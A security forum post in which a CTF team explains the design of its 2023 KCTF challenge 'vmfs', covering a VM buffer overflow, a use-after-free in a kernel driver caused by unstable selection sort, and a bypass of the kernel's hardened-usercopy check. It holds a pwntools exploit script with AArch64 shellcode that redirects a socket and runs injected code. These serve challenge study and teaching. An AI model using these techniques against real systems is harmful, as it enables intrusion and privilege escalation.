首页
社区
课程
招聘
[原创]2023 KCTF 年度赛 - vmfs
发表于: 2023-8-15 17:24 5127

[原创]2023 KCTF 年度赛 - vmfs

Ex_ 活跃值
1
2023-8-15 17:24
5127

团队名称:星盟安全团队
团长QQ:2462148389
参赛题目:vmfs
目答案(攻击脚本)、详细的题目设计说明和破解思路:详见百度网盘

链接:https://pan.baidu.com/s/16Kxgwoa3CFU8e1fO2XuJkQ?pwd=uirm
提取码:uirm
--来自百度网盘超级会员V7的分享

设计思路:

vm 中开启了一个 http 服务,该服务可以运行用户上传的代码,代码文件保存在 /dev/vmfs 驱动中,单独运行 vm 程序是无法执行代码的,因为程序无法找到驱动。

用户可以上传自己的代码,之后发送运行指令,使得代码在 vm 程序中执行,并返回执行得到的结果。

用户态功能

内核态功能

虚拟机的结构体如下:

在 runFile 函数中,req.size 可以由用户控制,而 vm.code 的大小仅有 0x8000 字节,当 req.size 大于 0x8000 字节时将溢出到后面的 data 结构体。但是,这要求目标文件节点本身就大于 0x8000 字节,否则驱动将会读取失败。

在 createFile 中可以看到程序限制了创建文件的大小,用户无法通过 createFile 请求来创建 大于 0x8000 字节的文件节点。

驱动初始化的时候会创建一下大小为 0x10000 节点的文件,因此可以用该文件节点来达到利用目的。

当控制了 vm.data 结构体之后,我们就拥有了任意地址读写的能力。

由于用户态还设置了沙箱保护,禁用了execve系统调用。

所以需要攻击者在内存中自行布置攻击代码。

由于go启动的http服务对socket进行了设置,所以这里直接从socket读取内容会失败。

因此需要fork出一个新的进程来保持干净的环境。

同时将父进程挂起,防止系统关机。

随后子进程需要使用 fcntl(0, F_SETFL, 0) 来重置socket,重置之后 socket 才能恢复正常。

回收站并不会保存文件节点的地址,而是保存文件节点的索引,当文件处在回收站后,文件节点将不再可读写。驱动提供了四种排序方式,其中选择排序 VMFS_SELECTION_SORT 是不稳定的排序算法,正如数据结构这门课程里面提到的那样 ,当序列中有相同大小的值时,执行选择排序后他们的位置可能会发生变化。若使用选择排序,已删除的节点和未删除的节点就可能会混淆,从而导致UAF漏洞。

举个简单的例子,将下面的序列进行选择排序

此时两个5的顺序发生了变化,结果是5* 排在 了 5后面。

知道了原理后就可以利用该漏洞构造任意地址读写。

由于内核开了 CONFIG_STATIC_USERMODEHELPER 保护,因此无法劫持 modprobe_path 来达到提权目的。同时内核还开启了 CONFIG_HARDENED_USERCOPY ,函数 copy_from_usercopy_to_user 无法直接读写 task_structcred

让我们查看源码来寻求绕过方法,首先定位到 CONFIG_HARDENED_USERCOPY 的定义:

__check_heap_object 源码中没有什么方便的绕过方式,因此找到其上一层的调用函数 check_heap_object

其中 virt_addr_valid 判断失败的话则可以直接绕过 __check_heap_object 检查。

virt_addr_valid 函数如下:

通常我们会在内存的第一块区域,所以i=0

memblock_is_nomap函数如下:

简单来说只要其物理地址的标志位带有 MEMBLOCK_NOMAP 则会返回 0。

因此我们要做的就是修改 memblock_memory_init_regions[0].flagsMEMBLOCK_NOMAP ,这样就可以绕过 __check_heap_object 检查。

恰好 memblock_memory_init_regions[0].flags 位于内核数据段上,因此有任意地址读写能力后很容易就能实现该修改操作。

在该题目中 memblock_memory_init_regions[0].flags 位于 0xffff80000a2ae1f8 地址上。

利用代码:

/api/create-file  创建文件
/api/write-file   写文件
/api/run-file     运行文件
/api/create-file  创建文件
/api/write-file   写文件
/api/run-file     运行文件
#define VMFS_CREATE_FILE        0xff00 // 创建文件节点
#define VMFS_MOVE_TO_TRASH      0xff01 // 将文件节点移动到回收站
#define VMFS_DELETE_FROM_TRASH  0xff02 // 彻底删除文件节点
#define VMFS_WRITE_FILE         0xff03 // 写文件节点
#define VMFS_READ_FILE          0xff04 // 读文件节点
#define VMFS_SORT_FILE          0xff05 // 对文件节点进行排序
#define VMFS_CREATE_FILE        0xff00 // 创建文件节点
#define VMFS_MOVE_TO_TRASH      0xff01 // 将文件节点移动到回收站
#define VMFS_DELETE_FROM_TRASH  0xff02 // 彻底删除文件节点
#define VMFS_WRITE_FILE         0xff03 // 写文件节点
#define VMFS_READ_FILE          0xff04 // 读文件节点
#define VMFS_SORT_FILE          0xff05 // 对文件节点进行排序
00000000 main_machine_0 struc ; (sizeof=0x80A0, align=0x8, copyof_2879)
00000000                                         ; XREF: main.runVM/r
00000000                                         ; main.runFile/r
00000000 reg DCQ 16 dup(?)
00000080 _pc DCQ ?                               ; XREF: main.runVM:loc_1F96C8/r
00000080                                         ; main.runVM+88/r ...
00000088 code DCQ 4096 dup(?)                    ; XREF: main.runVM+24/o
00008088 data _slice_uint64 ?
000080A0 main_machine_0 ends
 
00000000 _slice_uint64 struc ; (sizeof=0x18, align=0x8, copyof_224)
00000000                                         ; XREF: .data:crypto_sha512._K/r
00000000                                         ; main_machine_0/r ...
00000000 array DCQ ?                             ; XREF: crypto_sha512.blockGeneric+27C/r
00000000                                         ; crypto_sha512.blockAsm+10/r ; offset
00000008 len DCQ ?                               ; XREF: runtime._ptr_profBuf.write+38/w
00000008                                         ; runtime._ptr_profBuf.write+88/r ...
00000010 cap DCQ ?                               ; XREF: runtime._ptr_profBuf.write+4AC/w
00000010                                         ; runtime._ptr_profBuf.write+4D8/r ...
00000018 _slice_uint64 ends
00000000 main_machine_0 struc ; (sizeof=0x80A0, align=0x8, copyof_2879)
00000000                                         ; XREF: main.runVM/r
00000000                                         ; main.runFile/r
00000000 reg DCQ 16 dup(?)
00000080 _pc DCQ ?                               ; XREF: main.runVM:loc_1F96C8/r
00000080                                         ; main.runVM+88/r ...
00000088 code DCQ 4096 dup(?)                    ; XREF: main.runVM+24/o
00008088 data _slice_uint64 ?
000080A0 main_machine_0 ends
 
00000000 _slice_uint64 struc ; (sizeof=0x18, align=0x8, copyof_224)
00000000                                         ; XREF: .data:crypto_sha512._K/r
00000000                                         ; main_machine_0/r ...
00000000 array DCQ ?                             ; XREF: crypto_sha512.blockGeneric+27C/r
00000000                                         ; crypto_sha512.blockAsm+10/r ; offset
00000008 len DCQ ?                               ; XREF: runtime._ptr_profBuf.write+38/w
00000008                                         ; runtime._ptr_profBuf.write+88/r ...
00000010 cap DCQ ?                               ; XREF: runtime._ptr_profBuf.write+4AC/w
00000010                                         ; runtime._ptr_profBuf.write+4D8/r ...
00000018 _slice_uint64 ends
line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x04 0xc00000b7  if (A != ARCH_AARCH64) goto 0006
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x02 0x00 0x00000142  if (A == execveat) goto 0006
 0004: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x06 0x00 0x00 0x00000000  return KILL
line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x04 0xc00000b7  if (A != ARCH_AARCH64) goto 0006
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x02 0x00 0x00000142  if (A == execveat) goto 0006
 0004: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x06 0x00 0x00 0x00000000  return KILL
# user
 
def req(api, data):
    json_str = json.dumps(data)
    sh.send((
f'''POST {api} HTTP/1.1
Host: {host}:{port}
Accept: */*
Connection: keep-alive
Content-Length: {len(json_str)}
Content-Type: application/json
 
'''.replace('\n', '\r\n') + json_str).encode())
     
vm_code = []
def write(address, value):
    global vm_code
    vm_code += [5, 0, value]
    vm_code += [7, address//8, 0]
write(0x498f10, 0x68732f6e69622f)
write(0x498f00, 0x498f10)
 
 
shellcode = asm(
'''
 
mov x8, 220
mov x0, 19
mov x1, 0
svc 0 ;// fork
 
cmp x0, 0
 
bne over
 
;// child
 
mov x8, 24
mov x0, 4
mov x1, 0
mov x2, 0
svc 0 ;// dup3(4, 0, 0)
 
mov x8, 24
mov x0, 1
mov x1, 4
mov x2, 0
svc 0 ;// dup3(1, 4, 0)
 
mov x8, 24
mov x0, 0
mov x1, 1
mov x2, 0
svc 0 ;// dup3(0, 1, 0)
 
mov x8, 24
mov x0, 0
mov x1, 2
mov x2, 0
svc 0 ;// dup3(0, 2, 0)
 
mov x8, 25
mov x0, 0
mov x1, 4
mov x2, 0
svc 0 ;// fcntl(0, F_SETFL, 0)
 
str    x0, [sp, 0]
mov x0, 0
mov x1, sp
mov x2, 8
mov x8, 64
svc 0
 
mov x8, 63
mov x0, 0
adr x1, 12
mov x2, 0x800
svc 0 ;// read(0, shellcode, 0x800)
 
shellcode:
 
over:
mov x8, 172
svc 0 ;// getpid
 
mov x8, 129
mov x1, 19
svc 0 ;// kill(self, SIGSTOP)
 
''')
 
shellcode_i = 0
while(shellcode):
    tmp = shellcode[:8].ljust(8, b'\0')
    shellcode = shellcode[8:]
    write(0x498000 + shellcode_i, u64(tmp))
    shellcode_i += 8
 
stack_list = [0x400011b000, 0x400012b000, 0x4000187000]
for stack_addr in stack_list:
    write(stack_addr+0x820, 0x12808)
 
    write(stack_addr+0x840, 0x498000)
 
    write(stack_addr+0x860, 7)
    write(stack_addr+0x858, 0x1000)
    write(stack_addr+0x850, 0x498000)
    write(stack_addr+0x848, 226)
 
 
payload = {"Id":0x636db8c2, "ChooseIndex":0, "Size": 0x8018, "Data":vm_code + [0] * (0x1000 - len(vm_code)) + [0, 0x7fffffffffffffff, 0x7fffffffffffffff]}
req('/api/write-file', payload)
payload = {"Id":0x636db8c2, "ChooseIndex":0, "Size": 0x8018}
req('/api/run-file', payload)
 
sh.recvuntil(b'\0' * 8)
# user
 
def req(api, data):
    json_str = json.dumps(data)
    sh.send((
f'''POST {api} HTTP/1.1
Host: {host}:{port}
Accept: */*
Connection: keep-alive
Content-Length: {len(json_str)}
Content-Type: application/json
 
'''.replace('\n', '\r\n') + json_str).encode())
     
vm_code = []
def write(address, value):
    global vm_code
    vm_code += [5, 0, value]
    vm_code += [7, address//8, 0]
write(0x498f10, 0x68732f6e69622f)
write(0x498f00, 0x498f10)
 
 
shellcode = asm(
'''
 
mov x8, 220
mov x0, 19
mov x1, 0
svc 0 ;// fork
 
cmp x0, 0
 
bne over
 
;// child
 
mov x8, 24
mov x0, 4
mov x1, 0
mov x2, 0
svc 0 ;// dup3(4, 0, 0)
 
mov x8, 24
mov x0, 1
mov x1, 4
mov x2, 0
svc 0 ;// dup3(1, 4, 0)
 
mov x8, 24
mov x0, 0
mov x1, 1
mov x2, 0
svc 0 ;// dup3(0, 1, 0)
 
mov x8, 24
mov x0, 0
mov x1, 2
mov x2, 0
svc 0 ;// dup3(0, 2, 0)
 
mov x8, 25
mov x0, 0
mov x1, 4
mov x2, 0
svc 0 ;// fcntl(0, F_SETFL, 0)
 
str    x0, [sp, 0]
mov x0, 0
mov x1, sp
mov x2, 8
mov x8, 64
svc 0
 
mov x8, 63
mov x0, 0
adr x1, 12
mov x2, 0x800
svc 0 ;// read(0, shellcode, 0x800)
 
shellcode:
 
over:
mov x8, 172
svc 0 ;// getpid
 
mov x8, 129
mov x1, 19
svc 0 ;// kill(self, SIGSTOP)
 
''')
 
shellcode_i = 0
while(shellcode):
    tmp = shellcode[:8].ljust(8, b'\0')
    shellcode = shellcode[8:]
    write(0x498000 + shellcode_i, u64(tmp))
    shellcode_i += 8
 
stack_list = [0x400011b000, 0x400012b000, 0x4000187000]
for stack_addr in stack_list:
    write(stack_addr+0x820, 0x12808)
 
    write(stack_addr+0x840, 0x498000)
 
    write(stack_addr+0x860, 7)
    write(stack_addr+0x858, 0x1000)
    write(stack_addr+0x850, 0x498000)
    write(stack_addr+0x848, 226)
 
 
payload = {"Id":0x636db8c2, "ChooseIndex":0, "Size": 0x8018, "Data":vm_code + [0] * (0x1000 - len(vm_code)) + [0, 0x7fffffffffffffff, 0x7fffffffffffffff]}
req('/api/write-file', payload)
payload = {"Id":0x636db8c2, "ChooseIndex":0, "Size": 0x8018}
req('/api/run-file', payload)
 
sh.recvuntil(b'\0' * 8)
static ssize_t vmfs_ioctl(struct file *file, unsigned int cmd, size_t arg)
{
    struct user_argv argv;
    size_t result = 0;
 
    mutex_lock(&vmfs_lock);
 
    if(result == 0 && copy_from_user(&argv, (void *)arg, sizeof(argv)))
    {
        result = -1;
    }
 
    if(result == 0 && argv.id == NONE)
    {
        result = -1;
    }
 
    if(result == 0)
    {
        switch (cmd)
        {
        case VMFS_CREATE_FILE:
            if(result == 0 && add(argv.size, argv.id))
            {
                result = -1;
            }
            break;
        case VMFS_MOVE_TO_TRASH:
            if(result == 0 && move_to_trash(argv.id, argv.choose_index))
            {
                result = -1;
            }
            break;
        case VMFS_DELETE_FROM_TRASH:
            if(result == 0 && delete_from_trash(argv.id, argv.choose_index))
            {
                result = -1;
            }
            break;
        case VMFS_WRITE_FILE:
            if(result == 0 && write_file(argv.id, argv.addr, argv.size, argv.choose_index))
            {
                result = -1;
            }
            break;
        case VMFS_READ_FILE:
            if(result == 0 && read_file(argv.id, argv.addr, argv.size, argv.choose_index))
            {
                result = -1;
            }
            break;
        case VMFS_SORT_FILE:
            switch (argv.sort_option)
            {
            case VMFS_BUBBLE_SORT:
                bubble_sort();
                break;
            case VMFS_INSERT_SORT:
                insert_sort();
                break;
            case VMFS_SELECTION_SORT:
                selection_sort();
                break;
            case VMFS_MERGE_SORT:
                merge_sort();
                break;
            default:
                result = -1;
                break;
            }
            break;
        default:
            result = -1;
            break;
        }
    }
     
    mutex_unlock(&vmfs_lock);
 
    return result;
}
static ssize_t vmfs_ioctl(struct file *file, unsigned int cmd, size_t arg)
{
    struct user_argv argv;
    size_t result = 0;
 
    mutex_lock(&vmfs_lock);
 
    if(result == 0 && copy_from_user(&argv, (void *)arg, sizeof(argv)))
    {
        result = -1;
    }
 
    if(result == 0 && argv.id == NONE)
    {
        result = -1;
    }
 
    if(result == 0)
    {
        switch (cmd)
        {
        case VMFS_CREATE_FILE:
            if(result == 0 && add(argv.size, argv.id))
            {
                result = -1;
            }
            break;
        case VMFS_MOVE_TO_TRASH:
            if(result == 0 && move_to_trash(argv.id, argv.choose_index))
            {
                result = -1;
            }
            break;
        case VMFS_DELETE_FROM_TRASH:
            if(result == 0 && delete_from_trash(argv.id, argv.choose_index))
            {
                result = -1;
            }
            break;
        case VMFS_WRITE_FILE:
            if(result == 0 && write_file(argv.id, argv.addr, argv.size, argv.choose_index))
            {
                result = -1;
            }
            break;
        case VMFS_READ_FILE:
            if(result == 0 && read_file(argv.id, argv.addr, argv.size, argv.choose_index))
            {
                result = -1;
            }
            break;
        case VMFS_SORT_FILE:
            switch (argv.sort_option)
            {
            case VMFS_BUBBLE_SORT:
                bubble_sort();
                break;
            case VMFS_INSERT_SORT:
                insert_sort();
                break;
            case VMFS_SELECTION_SORT:
                selection_sort();
                break;
            case VMFS_MERGE_SORT:
                merge_sort();
                break;
            default:
                result = -1;
                break;
            }
            break;
        default:
            result = -1;
            break;
        }
    }
     
    mutex_unlock(&vmfs_lock);
 
    return result;
}
5* 5 2
5* 5 2
2 5 5*
2 5 5*
#ifdef CONFIG_HARDENED_USERCOPY
/*
 * Rejects incorrectly sized objects and objects that are to be copied
 * to/from userspace but do not fall entirely within the containing slab
 * cache's usercopy region.
 *
 * Returns NULL if check passes, otherwise const char * to name of cache
 * to indicate an error.
 */
void __check_heap_object(const void *ptr, unsigned long n,
             const struct slab *slab, bool to_user)
{
    struct kmem_cache *s;
    unsigned int offset;
    bool is_kfence = is_kfence_address(ptr);
 
    ptr = kasan_reset_tag(ptr);
 
    /* Find object and usable object size. */
    s = slab->slab_cache;
 
    /* Reject impossible pointers. */
    if (ptr < slab_address(slab))
        usercopy_abort("SLUB object not in SLUB page?!", NULL,
                   to_user, 0, n);
 
    /* Find offset within object. */
    if (is_kfence)
        offset = ptr - kfence_object_start(ptr);
    else
        offset = (ptr - slab_address(slab)) % s->size;
 
    /* Adjust for redzone and reject if within the redzone. */
    if (!is_kfence && kmem_cache_debug_flags(s, SLAB_RED_ZONE)) {
        if (offset < s->red_left_pad)
            usercopy_abort("SLUB object in left red zone",
                       s->name, to_user, offset, n);
        offset -= s->red_left_pad;
    }
 
    /* Allow address range falling entirely within usercopy region. */
    if (offset >= s->useroffset &&
        offset - s->useroffset <= s->usersize &&
        n <= s->useroffset - offset + s->usersize)
        return;
 
    usercopy_abort("SLUB object", s->name, to_user, offset, n);
}
#endif /* CONFIG_HARDENED_USERCOPY */
#ifdef CONFIG_HARDENED_USERCOPY
/*
 * Rejects incorrectly sized objects and objects that are to be copied
 * to/from userspace but do not fall entirely within the containing slab
 * cache's usercopy region.
 *
 * Returns NULL if check passes, otherwise const char * to name of cache
 * to indicate an error.
 */
void __check_heap_object(const void *ptr, unsigned long n,
             const struct slab *slab, bool to_user)
{
    struct kmem_cache *s;
    unsigned int offset;
    bool is_kfence = is_kfence_address(ptr);
 
    ptr = kasan_reset_tag(ptr);
 
    /* Find object and usable object size. */
    s = slab->slab_cache;
 
    /* Reject impossible pointers. */
    if (ptr < slab_address(slab))
        usercopy_abort("SLUB object not in SLUB page?!", NULL,
                   to_user, 0, n);
 
    /* Find offset within object. */
    if (is_kfence)
        offset = ptr - kfence_object_start(ptr);
    else
        offset = (ptr - slab_address(slab)) % s->size;
 
    /* Adjust for redzone and reject if within the redzone. */
    if (!is_kfence && kmem_cache_debug_flags(s, SLAB_RED_ZONE)) {
        if (offset < s->red_left_pad)
            usercopy_abort("SLUB object in left red zone",
                       s->name, to_user, offset, n);
        offset -= s->red_left_pad;
    }
 
    /* Allow address range falling entirely within usercopy region. */
    if (offset >= s->useroffset &&
        offset - s->useroffset <= s->usersize &&
        n <= s->useroffset - offset + s->usersize)
        return;
 
    usercopy_abort("SLUB object", s->name, to_user, offset, n);
}
#endif /* CONFIG_HARDENED_USERCOPY */
static inline void check_heap_object(const void *ptr, unsigned long n,
                     bool to_user)
{
    unsigned long addr = (unsigned long)ptr;
    unsigned long offset;
    struct folio *folio;
 
    if (is_kmap_addr(ptr)) {
        offset = offset_in_page(ptr);
        if (n > PAGE_SIZE - offset)
            usercopy_abort("kmap", NULL, to_user, offset, n);
        return;
    }
 
    if (is_vmalloc_addr(ptr) && !pagefault_disabled()) {
        struct vmap_area *area = find_vmap_area(addr);
 
        if (!area)
            usercopy_abort("vmalloc", "no area", to_user, 0, n);
 
        if (n > area->va_end - addr) {
            offset = addr - area->va_start;
            usercopy_abort("vmalloc", NULL, to_user, offset, n);
        }
        return;
    }
 
    if (!virt_addr_valid(ptr))
        return;
 
    folio = virt_to_folio(ptr);
 
    if (folio_test_slab(folio)) {
        /* Check slab allocator for flags and size. */
        __check_heap_object(ptr, n, folio_slab(folio), to_user);
    } else if (folio_test_large(folio)) {
        offset = ptr - folio_address(folio);
        if (n > folio_size(folio) - offset)
            usercopy_abort("page alloc", NULL, to_user, offset, n);
    }
}
static inline void check_heap_object(const void *ptr, unsigned long n,
                     bool to_user)
{
    unsigned long addr = (unsigned long)ptr;
    unsigned long offset;
    struct folio *folio;
 
    if (is_kmap_addr(ptr)) {
        offset = offset_in_page(ptr);
        if (n > PAGE_SIZE - offset)
            usercopy_abort("kmap", NULL, to_user, offset, n);
        return;
    }
 
    if (is_vmalloc_addr(ptr) && !pagefault_disabled()) {
        struct vmap_area *area = find_vmap_area(addr);
 
        if (!area)
            usercopy_abort("vmalloc", "no area", to_user, 0, n);
 
        if (n > area->va_end - addr) {
            offset = addr - area->va_start;
            usercopy_abort("vmalloc", NULL, to_user, offset, n);
        }
        return;
    }
 

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2023-9-22 18:32 被kanxue编辑 ,原因:
上传的附件:
收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 47147
活跃值: (20445)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
2
         第九题 突破防线
2023-8-28 15:16
0
游客
登录 | 注册 方可回帖
返回
//